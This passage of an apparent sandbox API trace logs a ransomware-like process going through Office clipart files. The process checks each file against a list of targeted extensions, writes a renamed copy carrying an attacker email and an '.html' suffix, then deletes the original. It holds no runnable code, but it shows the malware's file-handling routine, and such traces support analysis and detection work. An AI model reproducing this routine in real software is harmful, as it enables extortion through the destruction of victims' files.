[0273.169] lstrlenW (lpString=".bz2") returned 4 [0273.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString=".7z") returned 3 [0273.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.169] lstrlenW (lpString=".dbf") returned 4 [0273.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.169] lstrlenW (lpString=".1cd") returned 4 [0273.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.169] lstrlenW (lpString=".jpg") returned 4 [0273.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.170] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.170] lstrlenW (lpString="FD00435_.WMF") returned 12 [0273.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.318] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2108) returned 1 [0273.318] CloseHandle (hObject=0x304) returned 1 [0273.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0273.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.318] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.318] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0273.319] GetLastError () returned 0x0 [0273.319] ReadFile (in: hFile=0x304, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x83c, lpOverlapped=0x0) returned 1 [0273.336] WriteFile (in: hFile=0x390, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x840, lpOverlapped=0x0) returned 1 [0273.337] ReadFile (in: hFile=0x304, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.337] WriteFile (in: hFile=0x390, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.337] SetEndOfFile (hFile=0x390) returned 1 [0273.337] CloseHandle (hObject=0x390) returned 1 [0273.337] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.337] SetEndOfFile (hFile=0x304) returned 1 [0273.339] CloseHandle (hObject=0x304) returned 1 [0273.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0273.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.339] lstrlenW (lpString=".doc") returned 4 [0273.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.339] lstrlenW (lpString=".docx") returned 5 [0273.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.339] lstrlenW (lpString=".pdf") returned 4 [0273.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString=".xls") returned 4 [0273.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.340] lstrlenW (lpString=".xlsx") returned 5 [0273.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.340] lstrlenW (lpString=".ppt") returned 4 [0273.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.340] lstrlenW (lpString=".zip") returned 4 [0273.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.340] lstrlenW (lpString=".rar") returned 4 [0273.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString=".bz2") returned 4 [0273.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString=".7z") returned 3 [0273.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.340] lstrlenW (lpString=".dbf") returned 4 [0273.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.340] lstrlenW (lpString=".1cd") returned 4 [0273.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.340] lstrlenW (lpString=".jpg") returned 4 [0273.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.340] lstrlenW (lpString=".doc") returned 4 [0273.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.340] lstrlenW (lpString=".docx") returned 5 [0273.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.341] lstrlenW (lpString=".pdf") returned 4 [0273.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.341] lstrlenW (lpString=".xls") returned 4 [0273.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.341] lstrlenW (lpString=".xlsx") returned 5 [0273.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.341] lstrlenW (lpString=".ppt") returned 4 [0273.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.341] lstrlenW (lpString=".zip") returned 4 [0273.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.341] lstrlenW (lpString=".rar") returned 4 [0273.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.341] lstrlenW (lpString=".bz2") returned 4 [0273.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.341] lstrlenW (lpString=".7z") returned 3 [0273.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.341] lstrlenW (lpString=".dbf") returned 4 [0273.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.341] lstrlenW (lpString=".1cd") returned 4 [0273.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0273.341] lstrlenW (lpString=".jpg") returned 4 [0273.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.342] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.342] lstrlenW (lpString="FD00799_.WMF") returned 12 [0273.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.348] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=13968) returned 1 [0273.348] CloseHandle (hObject=0x38c) returned 1 [0273.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0273.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.353] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.353] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.353] GetLastError () returned 0x0 [0273.353] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x3690, lpOverlapped=0x0) returned 1 [0273.355] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x36a0, lpOverlapped=0x0) returned 1 [0273.356] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.356] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.356] SetEndOfFile (hFile=0x354) returned 1 [0273.356] CloseHandle (hObject=0x354) returned 1 [0273.356] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.356] SetEndOfFile (hFile=0x38c) returned 1 [0273.358] CloseHandle (hObject=0x38c) returned 1 [0273.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0273.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.359] lstrlenW (lpString=".doc") returned 4 [0273.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString=".docx") returned 5 [0273.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.359] lstrlenW (lpString=".pdf") returned 4 [0273.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString=".xls") returned 4 [0273.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.359] lstrlenW (lpString=".xlsx") returned 5 [0273.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.359] lstrlenW (lpString=".ppt") returned 4 [0273.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.359] lstrlenW (lpString=".zip") returned 4 [0273.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.359] lstrlenW (lpString=".rar") returned 4 [0273.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString=".bz2") returned 4 [0273.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString=".7z") returned 3 [0273.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.359] lstrlenW (lpString=".dbf") returned 4 [0273.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.359] lstrlenW (lpString=".1cd") returned 4 [0273.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.359] lstrlenW (lpString=".jpg") returned 4 [0273.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.360] lstrlenW (lpString=".doc") returned 4 [0273.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.360] lstrlenW (lpString=".docx") returned 5 [0273.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.360] lstrlenW (lpString=".pdf") returned 4 [0273.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.360] lstrlenW (lpString=".xls") returned 4 [0273.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.360] lstrlenW (lpString=".xlsx") returned 5 [0273.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.360] lstrlenW (lpString=".ppt") returned 4 [0273.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.360] lstrlenW (lpString=".zip") returned 4 [0273.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.360] lstrlenW (lpString=".rar") returned 4 [0273.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.360] lstrlenW (lpString=".bz2") returned 4 [0273.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.360] lstrlenW (lpString=".7z") returned 3 [0273.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.360] lstrlenW (lpString=".dbf") returned 4 [0273.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.360] lstrlenW (lpString=".1cd") returned 4 [0273.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0273.360] lstrlenW (lpString=".jpg") returned 4 [0273.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.361] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.361] lstrlenW (lpString="FD00814_.WMF") returned 12 [0273.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.361] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=42704) returned 1 [0273.361] CloseHandle (hObject=0x38c) returned 1 [0273.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0273.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.362] GetLastError () returned 0x0 [0273.362] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0273.364] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xa6e0, lpOverlapped=0x0) returned 1 [0273.366] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.366] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.366] SetEndOfFile (hFile=0x354) returned 1 [0273.366] CloseHandle (hObject=0x354) returned 1 [0273.366] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.366] SetEndOfFile (hFile=0x38c) returned 1 [0273.368] CloseHandle (hObject=0x38c) returned 1 [0273.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0273.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.369] lstrlenW (lpString=".doc") returned 4 [0273.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.369] lstrlenW (lpString=".docx") returned 5 [0273.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.369] lstrlenW (lpString=".pdf") returned 4 [0273.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.369] lstrlenW (lpString=".xls") returned 4 [0273.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.369] lstrlenW (lpString=".xlsx") returned 5 [0273.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.369] lstrlenW (lpString=".ppt") returned 4 [0273.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.369] lstrlenW (lpString=".zip") returned 4 [0273.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.369] lstrlenW (lpString=".rar") returned 4 [0273.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.369] lstrlenW (lpString=".bz2") returned 4 [0273.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.369] lstrlenW (lpString=".7z") returned 3 [0273.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.369] lstrlenW (lpString=".dbf") returned 4 [0273.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.370] lstrlenW (lpString=".1cd") returned 4 [0273.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.370] lstrlenW (lpString=".jpg") returned 4 [0273.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.370] lstrlenW (lpString=".doc") returned 4 [0273.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.458] lstrlenW (lpString=".docx") returned 5 [0273.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.458] lstrlenW (lpString=".pdf") returned 4 [0273.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.458] lstrlenW (lpString=".xls") returned 4 [0273.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.458] lstrlenW (lpString=".xlsx") returned 5 [0273.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.458] lstrlenW (lpString=".ppt") returned 4 [0273.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.458] lstrlenW (lpString=".zip") returned 4 [0273.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.458] lstrlenW (lpString=".rar") returned 4 [0273.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.458] lstrlenW (lpString=".bz2") returned 4 [0273.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.458] lstrlenW (lpString=".7z") returned 3 [0273.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.459] lstrlenW (lpString=".dbf") returned 4 [0273.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0273.459] lstrlenW (lpString=".1cd") returned 4 [0273.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.459] lstrlenW 